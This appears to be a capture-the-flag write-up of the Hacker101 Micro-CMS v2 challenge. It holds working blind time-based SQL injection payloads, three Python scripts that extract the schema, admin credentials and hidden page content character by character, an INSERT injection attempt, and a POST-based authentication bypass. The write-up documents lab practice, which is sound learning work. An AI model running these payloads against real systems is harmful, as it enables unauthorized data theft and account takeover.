Micro-CMS v2

SQL Injection

When trying to create a new page, I'm met by this new login page. Learning my lesson from the last challenge, I simply try a few obvious usernames and passwords including admin and default. None of these work, and the page indicates "Unknown User" in red:

Log in <-- Go Home

Log In

Username:
Password:
Unknown user

Did they learn their lesson about SQL injection? Placing the single quote ' character into each of the username and password fields yields the following error:

500 Internal Server Error

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

Looks like SQL injection is on the table. Time to go a little further than just the lonely single quote. What happens if I try and alter the logic of the query with ' OR 1=1 -- to short circuit the password check?

Log in <-- Go Home

Log In

Username:
Password:
Invalid password

The message this time is "Invalid Password". This completely confirms that the login is vulnerable to SQL injection. It also shows that they're kind enough to let me know that the previously guessed usernames are wrong. None of the common administrator usernames I can think of work, so I'm going need another approach. The user credentials are probably in a table with an auto generated integer id given the pages are using this type of schema. This means the admin user is probably the record with id=1. Next I try ' OR id=1; -- and get "Invalid password" again. Trying any other id produces "Unknown User" which indicates this hunch is correct. It's time to figure out how to bypass the password check. It's worth hypothesizing about what this query must look like. It's natural to expect something simple like:

SELECT * FROM users WHERE username = '{user}' AND password ='{password}';

In this case the injection above would translate to:

SELECT * FROM users WHERE username = '' OR id=1; --' AND password ='{password}';

If this were the query, the previous injection should work. The query would return the user with id 1, which I'm inferring is the admin account. Something else is going on here, and it's not as simple as I assumed. I need to figure out some facts about this database before I get too carried away. I don't even know if this DB has a table called users, I'm just guessing. Luckily, with time based data extraction, there's no need to guess. First, what is the database/schema?

' OR id=1-IF(LENGTH(DATABASE())=6, SLEEP(15), 0); --

The database name is 6 characters long.

' OR id=1-IF(MID(DATABASE(), 1, 1)='l', SLEEP(15), 0); --

The first character is "l", then "e", "v", "e", "l", and "2". What tables attached to this schema? Time to automate the boring stuff:

import requests
import time

table_name_length = 6

character_positions = list(range(1, table_name_length+1))
test_characters = (
    [chr(i) for i in range(ord('a'),ord('z')+1)] 
    + ['0','1','2','3','4','5','6','7','8','9']
)
results = []

url = "https://***ctf.hacker101.com/login"
sleep_time = 10

for character_position in character_positions:
    for test_character in test_characters:
        username = f"""
        ' OR id=1-IF(
            EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES 
            WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='level2' 
            AND LENGTH(TABLE_NAME)={table_name_length} AND 
            MID(TABLE_NAME, {character_position}, 1)='{test_character}'
        ), SLEEP({sleep_time}), 0); --
        """
        password = ""

        tic = time.perf_counter()
        result = requests.post(
            url,
            data={"username":username, "password":password},
        )

        toc = time.perf_counter()
        elapsed = toc - tic
        print(f"{character_position}, {test_character}: {elapsed}")
        if elapsed > sleep_time:
            results.append((character_position, test_character))

    print(f"Processed character position {character_position}")

print("Result:")
print(results)

There are two tables. The first is "pages" (duh) and the next table is "admins"! I probably should have been able to guess these, but this works too! Time to get the username and password.

' OR id=1-IF(EXISTS(SELECT username FROM admins WHERE id=1 AND LENGTH(username)=5), SLEEP(10), 0); --

' OR id=1-IF(EXISTS(SELECT password FROM admins WHERE id=1 AND LENGTH(password)=7), SLEEP(10), 0); --

import requests
import time

column_length = 5

character_positions = list(range(1, column_length+1))
test_characters = (
    [chr(i) for i in range(ord('a'),ord('z')+1)] 
    + ['0','1','2','3','4','5','6','7','8','9']
)
results = []

url = "https://***.ctf.hacker101.com/login"
sleep_time = 10
table_name = "admins"
column_name = "username"

for character_position in character_positions:
    for test_character in test_characters:
        username = f"""
        ' OR id=1-IF(
            EXISTS(SELECT {column_name} FROM {table_name} 
            WHERE LENGTH({column_name})={column_length} 
            AND MID({column_name}, {character_position}, 1)='{test_character}'
        ), SLEEP({sleep_time}), 0); --
        """
        password = ""

        tic = time.perf_counter()
        result = requests.post(url, data={"username":username, "password":password})

        toc = time.perf_counter()
        elapsed = toc - tic
        print(f"{character_position}, {test_character}: {elapsed}")
        if elapsed > sleep_time:
            results.append((character_position, test_character))

    print(f"Processed character position {character_position}")

print("Result:")
print(results)

The username is 5 characters long and is "nakia". The password is 7 characters long and is "cynthia". That's a flag!

SQL Injection 2

If I navigate around, I notice page/3 is forbidden:

403 Forbidden

Forbidden

You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.

Time for more SQL injection to extract the content from the pages table.

import requests
import time

# Printable ASCII characters excluding ', "
test_characters = [
    chr(i) for i in range(32, 127) 
    if chr(i) not in ("'", '"', '\\') and chr(i) == chr(i).lower()
]
print(test_characters)

results = []

url = "https://***.ctf.hacker101.com/login"
sleep_time = 10
table_name = "pages"
column_name = "body"

good_response = True
character_position = 0

while good_response and character_position <= 100:
    for test_character in test_characters:
        username = f"""
        ' OR id=1-IF(
            EXISTS(SELECT {column_name} FROM {table_name}
            WHERE id=3
            AND MID({column_name}, {character_position}, 1)='{test_character}'
        ), SLEEP({sleep_time}), 0); --
        """
        password = ""

        tic = time.perf_counter()
        result = requests.post(url, data={"username":username, "password":password})

        if result.status_code != 200:
            print(f"Failed on character {character_position}, {test_character}!")
            good_response = False
            break

        toc = time.perf_counter()
        elapsed = toc - tic
        
        if elapsed > sleep_time:
            print(f"{character_position}, {test_character}: {elapsed}")
            results.append((character_position, test_character))
            break
   
    character_position += 1


print("Result:")
print(results)
print(''.join([r[1] for r in results]).lower())

This successfully extracts the flag from the pages table, one character at a time.

A Simple Auth Bypass

I'm on a roll with the blind SQL injection techniques to extract data, so I keep pushing on this angle a bit longer. First thing to check is if there are any more tables to exploit:

' OR id=1-IF(EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='level2' AND NOT TABLE_NAME='pages' AND NOT TABLE_NAME='admins'), SLEEP(10), 0); --

There are no other "level2" pages that I'm missing.

' OR id=1-IF(EXISTS(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admins' AND NOT COLUMN_NAME = 'id' AND NOT COLUMN_NAME = 'username' AND NOT COLUMN_NAME = 'password'), SLEEP(10), 0); --

The only columns in admins are id, username, and password. Perhaps I can insert my own user?

' OR 1=1; INSERT INTO admins(id, username, password) VALUES (2, 'test', 'test'); --

' OR id=1-IF(EXISTS(SELECT username FROM admins WHERE id=2), SLEEP(10), 0); --

The test user was never inserted... What columns exist in the table pages?

' OR id=1-IF(EXISTS(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='pages' AND NOT COLUMN_NAME = 'id' AND NOT COLUMN_NAME = 'title' AND NOT COLUMN_NAME = 'body' AND NOT COLUMN_NAME = 'public'), SLEEP(10), 0); --

Just id, title, body, and public.

I've pretty much exhausted the SQL injection targets. This last flag must be another class of vulnerability. The next thing that's nagging at me is the login page 302 redirect. Maybe I can bypass this? The old Micro-CMS v1 edit page had a form that would POST a new title and body to the current URL:

<!doctype html>
<html>
    <head>
        <title>Edit page</title>
    </head>
    <body>
        <a href="../../">&lt;-- Go Home</a>
        <h1>Edit Page</h1>
        <form method="POST">
            Title: <input type="text" name="title" value="Markdown Test"><br>
            <textarea name="body" rows="10" cols="80">Just testing some markdown functionality.

![adorable kitten](https://static1.squarespace.com/static/54e8ba93e4b07c3f655b452e/t/56c2a04520c64707756f4267/1493764650017/)

&lt;button&gt;Some button&lt;/button&gt;</textarea><br>
            <input type="submit" value="Save">
            <div style="font-style: italic"><a href="https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet">Markdown</a> is supported, but scripts are not</div>
        </form>
    </body>
</html>

Maybe I can just send this request directly and bypass authentication? I send a POST request to https://***.ctf.hacker101.com/page/edit/2 with the parameters title = 'hi' and body = 'hi', the returned response is the flag.

POST auth bypass